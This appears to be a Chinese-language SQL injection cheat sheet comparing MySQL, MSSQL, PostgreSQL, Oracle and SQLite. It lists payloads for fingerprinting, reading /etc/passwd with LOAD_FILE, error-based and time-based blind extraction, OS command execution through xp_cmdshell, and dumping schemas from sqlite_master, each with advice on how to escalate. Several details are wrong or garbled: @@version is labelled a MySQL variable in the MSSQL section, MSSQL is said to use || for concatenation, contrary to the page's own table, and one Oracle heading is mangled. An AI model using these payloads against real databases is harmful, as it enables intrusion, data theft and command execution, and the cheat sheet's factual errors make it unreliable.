库
跨数据库 · 一套思路五种方言
先指纹识别认库,再按库选 payload。
跨库 › 速查
五库对照速查 速查
五个库关键项一张表
认准库后,对照下表切方言。约 90% 差异就在注释符 / 字符串拼接 / 报错函数 / 系统表。
| 要素 | MySQL | MSSQL | PostgreSQL | Oracle | SQLite |
|---|---|---|---|---|---|
| 列注释 | -- - / # | -- | -- | -- | -- |
| 字符串拼接 | concat() | + | \|\| | \|\| | \|\| |
| 系统表 | information_schema | sysobjects / information_schema | pg_catalog | all_tables | sqlite_master |
| 时间函数 | SLEEP() | WAITFOR DELAY | PG_SLEEP() | DBMS_LOCK.SLEEP() | - |
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
-- - / # vs -- | 注释符差异 | MSSQL/Oracle 无 #,统一用 -- |
concat vs || | 字符串拼接差异 | MySQL 用 concat,PG/Oracle/SQLite 用 || |
系统表 | 认库后找表名来源 | 差别最大的一项,务必对照 |
跨库 › MySQL
MySQL 重点
最常遇、招式最全
MySQL 招式已铺满全站:UNION/报错/布尔/时间/宽字节全吃,还有 load_file 读文件、INTO OUTFILE 写文件。
一套取数组合拳
SELECT user(),database(),version();
SELECT LOAD_FILE('/etc/passwd'); # 有 FILE 权限可读文件
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
user() | 当前连接数据库的用户名 | 判权限高低 → 能不能读/写文件、能不能 UDF 提权 |
database() | 当前所在的库名 | 拿库名 → 进 information_schema 爆表 → 爆列 → 爆值 |
version() | 数据库版本号 | 定版本 → 决定 information_schema 有无、报错函数/UDF 是否可行 |
LOAD_FILE() | - | - |
SELECT ... ; | 分号堆叠多条 | MySQL 支持;借注释符多语句 |
跨库 › MSSQL
MSSQL 重点
报错更强、能实时命令执行
MSSQL 的 xp_cmdshell 一步到命令执行;报错用 convert 类型强转,时间用 WAITFOR DELAY。
报错与延时
CONVERT(int,@@version) # 类型强转报错带出版本
WAITFOR DELAY '0:0:3' # 延时,等同 SLEEP
命令执行(详见深水区)
EXEC xp_cmdshell 'whoami' # 前提:SA 权限 + xp_cmdshell 开启
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
@@version | MySQL 全局变量:版本号 | 同 version(),间接看是否带平台信息 |
CONVERT(int,..) | 把非数字强转成 int 触发报错 | 值会出现在报错里,兼做指纹 |
WAITFOR DELAY '0:0:3' | 等待时间(时:分:秒) | MSSQL 的时间信道 |
EXEC xp_cmdshell | 执行操作系统命令 | 最高权限行为,见 命令执行 |
跨库 › PostgreSQL
PostgreSQL 方言
报错/延时函数名不一样
PG 关注延时 PG_SLEEP()、报错 CAST AS int,还有 || 拼接、pg_catalog 系统表。
延时与报错
SELECT PG_SLEEP(3); # 时间盲注
SELECT CAST(version() AS int); # 强转报错带出版本
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
PG_SLEEP() | PG 专用延时函数 | 等同 MySQL 的 SLEEP() |
CAST(.. AS int) | 类型强转报错 | 值混进错误里抛出来 |
|| | 字符串拼接 | PG/MSSQL/Oracle/SQLite 通用,替代 concat |
跨库 › Oracle
Oracle 方言
必须 FROM、多 <-- 注释、用 || 拼
Oracle 的硬规矩:每条查询都得 FROM(没表用 DUAL),拼接用 ||,注释只认 --。
双表套路
SELECT banner FROM v$version WHERE ROWNUM=1 # 版本信息
SELECT 'x'||(SELECT 1 FROM DUAL) FROM DUAL # 无表占位用 DUAL
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
FROM DUAL | Oracle 的空表 | 任何查询都要 FROM,DUAL 用于不查真表 |
v$version | 版本信息视图 | 指纹识别 Oracle 用 |
|| | 字符串拼接 | 替代 MySQL 的 concat |
跨库 › SQLite
SQLite 小库
文件型小库,靠 sqlite_master
SQLite 是嵌入式小库,核心是通过 sqlite_master 拿全部建表语句。
取表结构与数据
SELECT group_concat(sql) FROM sqlite_master # 一次拿全部建表 SQL
SELECT * FROM users # 直接查表
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
sqlite_master | SQLite 元数据表 | 里面存了每个对象的完整 CREATE 语句 |
group_concat(sql) | 把所有建表语句拼成一串 | 直接看结构,免逐表猜 |